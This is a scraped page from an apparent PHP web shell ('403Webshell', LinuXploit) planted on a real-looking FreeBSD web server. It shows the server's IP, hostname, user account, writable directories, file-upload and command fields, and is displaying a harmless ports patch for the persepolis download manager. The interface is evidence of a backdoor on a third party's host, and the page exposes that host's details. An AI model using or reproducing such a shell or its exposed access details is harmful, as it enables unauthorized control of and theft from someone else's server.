403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/www/persepolis/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/www/persepolis/files/patch-persepolis_scripts_persepolis.py
--- persepolis/scripts/persepolis.py.orig	2019-09-16 20:45:38 UTC
+++ persepolis/scripts/persepolis.py
@@ -42,9 +42,6 @@ if os_type == 'Linux' or os_type == 'FreeBSD' or os_ty
 
 # initialization
 
-# find home address
-home_address = os.path.expanduser("~")
-
 # persepolis config_folder
 config_folder = determineConfigFolder()
 
@@ -58,10 +55,8 @@ global lock_file_validation
 
 if os_type != 'Windows':
     import fcntl
-    user_name_split = home_address.split('/')
-    user_name = user_name_split[2]
 # persepolis lock file
-    lock_file = '/tmp/persepolis_exec_' + user_name + '.lock'
+    lock_file = '/tmp/persepolis_exec_' + os.getlogin() + '.lock'
 
 # create lock file
     fp = open(lock_file, 'w')

Youez - 2016 - github.com/yon3zu
LinuXploit